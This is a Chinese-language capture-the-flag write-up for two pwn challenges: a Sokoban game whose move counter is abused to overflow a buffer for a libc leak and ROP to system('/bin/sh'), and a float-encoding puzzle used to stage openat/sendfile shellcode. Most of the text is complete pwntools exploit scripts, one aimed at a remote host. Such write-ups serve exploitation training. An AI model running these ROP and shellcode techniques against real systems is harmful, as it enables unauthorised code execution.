推箱子
这一部分是初始化地图
这一部分是根据wasd控制上左下右,推动四个箱子(#)到四个位置(o)即可有一个read读取。很明显是利用这个推箱子造成溢出,然后打ROP的。
先通关推好箱子,然后就是左右一直来回循环控制v6值来造成溢出。一次溢出Leak出libc,一次打ROP。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 from pwn import *from pwn import u64,u32,p64,p32from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" , "splitw" , "-h" ] debug = 0 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('222.67.132.186' , 20455 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num).decode()) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc.so.6' ) def tuixiangzi (): sl('d' ) sl('d' ) sl('d' ) sl('d' ) sl('w' ) sl('a' ) sl('a' ) sl('w' ) sl('w' ) sl('w' ) sl('s' ) sl('s' ) sl('d' ) sl('w' ) sl('w' ) sl('s' ) sl('s' ) sl('s' ) sl('d' ) sl('w' ) sl('s' ) sl('s' ) sl('a' ) sl('a' ) sl('a' ) sl('a' ) sl('w' ) sl('d' ) sl('d' ) sl('s' ) sl('d' ) sl('w' ) sl('w' ) sl('w' ) def tianchong (): sl('d' ) sl('a' ) rl("********" ) for i in range (720 ): tianchong() tuixiangzi() rl("Grandmaster, Please leave your name:" ) payload = b'a' *0x578 + p64(0x0000000000400cf3 ) + p64(elf.got['puts' ]) + p64(elf.plt['puts' ]) + p64(0x4006D7 ) sl(payload) libc_leak = uu64() lg("libc_leak" , libc_leak) libc_base = libc_leak-libc.sym['puts' ] lg("libc_base" , libc_base) system_addr = libc_base+libc.sym['system' ] binsh = libc_base+libc.search(b'/bin/sh' ).__next__() rl("********" ) for i in range (720 ): tianchong() tuixiangzi() rl("Grandmaster, Please leave your name:" ) payload = b'a' *0x578 + p64(0x0000000000400576 ) + p64(0x0000000000400cf3 ) + p64(binsh) + p64(system_addr) + p64(0x4006D7 ) sl(payload) inter()
scfloat
程序主要有两个功能
带有花指令,gdb调试一下走个流程,然后看多了哪些垃圾指令给nop掉后重新反汇编。
输入整型后进行float类型强转然后除以2024.0再保存到mmap出的地址中。
第二个功能是跳转到mmap+0x3ff8处执行。
所以思路大致就是先用功能1填充对应的汇编指令,然后用功能2去跳转执行这些汇编指令触发read系统调用后执行shellcode
1 2 shellcode = shellcraft.openat(-100 ,'flag' ,0 ,0 ) shellcode += shellcraft.sendfile(1 ,3 ,0 ,0x100 )
难点在于整数转单精度浮点数控制内存中的机器码构造出合理的汇编指令才行。
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <stdio.h> int main () { int a; float d; int h = (0b010001000 << 23 ) + 0xbeebfc ; printf ("%x\n" ,h); memcpy (&d,&h,4 ); float c = 2024.0 * d; a = c; float b = (float )a / 2024.0 ; printf ("%d %#x\n" ,a,*(int *) & b); }
浮点数是由1位符号位加上8位指数位以及23位尾数位构成的。可以先定符号位为0,然后指数位为0b10000000,不能距离0b1000000太远,会导致精度不准。通过机器码进行测试,构造出合适的汇编语句然后先在mmap+0x3ff8上面写入
1 2 3 4 push rdx pop rsi sub rsi,0x46 syscall
触发read系统调用读取shellcode到mmap+0x3ff8-0x46上。
因为功能2是跳转到mmap+0x3ff8处执行,所以需要在mmap+0x3ff8处构造一个jmp short -0x42的汇编指令。这样才能跳转到read系统调用处,然后读取shellcode执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *from pwn import u64,u32,p64,p32from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" , "splitw" , "-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('127.0.0.1' , 10001 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num).decode()) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) shellcode = shellcraft.openat(-100 ,'flag' ,0 ,0 ) shellcode += shellcraft.sendfile(1 ,3 ,0 ,0x100 ) rl("input : \n" ) sl('1' ) rl("Enter your happiness coded number : \n" ) def padding (idx ): sl(str (idx)) for i in range ((0x3ff8 //4 )-16 ): padding(0 ) padding(449984 ) padding(61792704 ) padding(4523 ) for i in range (13 ): padding(0 ) padding(3091406 ) padding(0 ) rl("input : \n" ) sl('2' ) payload = b'a' *0x10 payload += asm(shellcode) sl(payload) inter()